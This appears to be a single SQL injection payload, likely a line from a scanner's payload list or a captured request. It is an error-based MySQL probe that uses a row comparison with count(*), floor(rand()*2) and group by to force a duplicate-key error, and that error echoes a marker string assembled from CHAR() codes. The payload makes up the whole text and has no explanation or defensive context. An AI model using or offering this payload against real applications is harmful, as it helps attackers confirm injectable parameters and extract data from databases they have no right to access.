'(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(122),CHAR(76),CHAR(52),CHAR(104),CHAR(97),CHAR(79),CHAR(116),CHAR(118)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))'